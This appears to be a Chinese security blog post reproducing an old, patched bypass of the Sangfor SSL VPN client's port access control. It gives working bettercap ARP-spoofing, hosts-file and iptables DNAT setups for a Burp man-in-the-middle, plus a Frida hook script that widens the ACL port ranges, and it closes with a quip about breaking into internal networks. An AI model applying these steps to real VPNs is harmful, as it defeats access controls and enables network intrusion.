前言

首先声明此漏洞很老,修复的话只需升级到M7.5版本,前段时间无意间看到安全群有人聊到绕深信服SSL VPN的ACL,一直想实践一下,后来再网上只找到了这一篇两年前的参考资料看我如何利用burp大法绕过深信服SSL VPN访问权限控制,并且这个人的马赛克非常可怕,导致几乎信息量太少,看不懂他在说什么。

于是我花时间研究了一下,其实没有他说的那么复杂,就是中间人攻击:服务端返回ACL列表之后,替换端口范围,客户端对端口进行访问控制,服务端对IP访问控制。 这个漏洞提交者提出了能否绕IP的问题,但是这部分没验证也没有解释,评论都是一片膜拜,导致我以为能绕IP访问控制。

还可以Hook客户端来绕过端口的访问控制,不过这样也挺麻烦。虽然是很简单的东西,但是通过实践,学到了一些技巧,记录下来。

网络层

我尝试了三个方法,都需要用到BurpSuite。既然属于中间人攻击,那么Burp就要开启透明代理了。

invisible_proxying

方法1:Bettercap

Bettercap是实战用的中间人攻击工具,但是在白盒实践中最不稳定。

  • 客户端主机 Sangfor SSL VPN
  • 中间人主机 Bettercap + Burp Suite

1
bettercap -I ens38 -G 192.168.1.1 -T target_ip -S ARP --custom-proxy burp_suite_ip --custom-proxy-port 8080

首先VPN服务器端口是443,因此需要把端口443重定向到Burp的8080,当然使用root权限运行Burp可以监听443端口,这样就不用重定向端口了。

1
sudo bettercap -I ens38 -G 192.168.1.1 -T target_ip -S ARP --custom-proxy burp_suite_ip --custom-proxy-port 8080 --custom-https-proxy burp_suite_ip --custom-https-proxy-port 8080 --custom-redirection "TCP 443 8080"

bettercap

方法2:hosts

环境如下:

  • 客户端主机 Sangfor SSL VPN
  • 中间人主机 Bettercap + Burp Suite

也可以直接修改hosts,但是Burp的监听端口要与VPN端口一致。

1
echo "target_ip vpn.test.com" >> /etc/hosts

方法3:Destnation NAT

这种方法最稳定,应用场景很多,而且适用于客户端主机无法使用本地代理的场景:

  1. 客户端检测并不允许系统代理。
  2. 安卓使用VPN之后,无线网络设置的代理将会失效。

首先深信服VPN在Linux兼容性很差,所以只能在Win上或者移动端运行。因此最好网关和客户端主机分开,环境如下:

  • 客户端主机 装有Sangfor SSL VPN
  • 中间人主机 Burp Suite
  • 中间人网关机 iptables

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 开启IPv4内核转发
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -t raw -F
iptables -t raw -X
iptables -t security -F
iptables -t security -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
# 假设客户端主机网段是192.168.1.0/24,客户端主机通过中间人网关机的eth0上网
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j MASQUERADE
# 当访问VPN服务器的地址vpn_server_ip:443时,目标地址转换成burp_suite_ip:8080
iptables -t nat -A PREROUTING -d vpn_server_ip -p tcp --dport 443 -j DNAT --to-destination burp_suite_ip.:8080

后续操作

首先,设置Burp的替换规则。 replace_rule

其次,开始登录VPN。

target_request

当/por/rclist.csp请求完毕,马上取消Burp代理,否则会导致访问太慢VPN断开,取消Burp代理依然能够保持网络链接。 这一点上方法3最方便,不需要在客户端主机操作,方法2比较麻烦,方法1很大可能有延迟。

DNAT

这时候客户端接收到的ACL表的端口范围已经被篡改。

malicious_acl

首先查看NAT表的PREROUTING链号码是1。

1
2
3
4
> iptables -t nat -L --line-number
Chain PREROUTING (policy ACCEPT)
num target prot opt source destination
1 DNAT tcp -- anywhere vpn_server_ip tcp dpt:https to:burp_suite_ip:8080

将其删去,就能绕过客户端的端口ACL了。

1
iptables -t nat -D PREROUTING 1

应用层

这里只实践安卓平台的,没有加固,比较方便。 首先用jadx打开easyconnect,然后找到"rclist.csp"的关键字。 keywords

一路跟过去,找到适合Hook服务端返回结果的位置。 code1 code2

然后编写Hook脚本,把端口范围设置成最大,保存为2.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function hookIt()
{
var rclist=Java.use("com.sangfor.vpn.client.service.d.a");
rclist.a.overload('java.lang.String').implementation=replacePorts;
}

function replacePorts(str)
{
str = str.replace(/port="[^\"]+"/g, 'port="1~65535"');
console.log("str replaced: " + str);
var result = this.a(str);
return result;
}

Java.perform(hookIt);

我的安卓设备是64位的,有root权限,通过adb开启Frida服务

1
2
3
adb push frida-server-10.7.6-android-arm64 /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server-10.7.6-android-arm64
adb shell su -c /data/local/tmp/frida-server-10.7.6-android-arm64

使用frida-ps找到Easyconnect的进程名

1
frida-ps -aU | grep sangfor

ps

运行Frida,制定Hook脚本和进程名

1
frida -U -l 2.js com.sangfor.vpn.client.phone

frida

可以看到端口范围已经被修改。

以上步骤在实战中都很繁琐,其实可以通过深信服SSL VPN的SDK来开发一个无限制版,不过也太麻烦了,只是绕个端口而已,还不去多撸几台服务器直接打入内网。

Reference

Frida Docs iptables Bettercap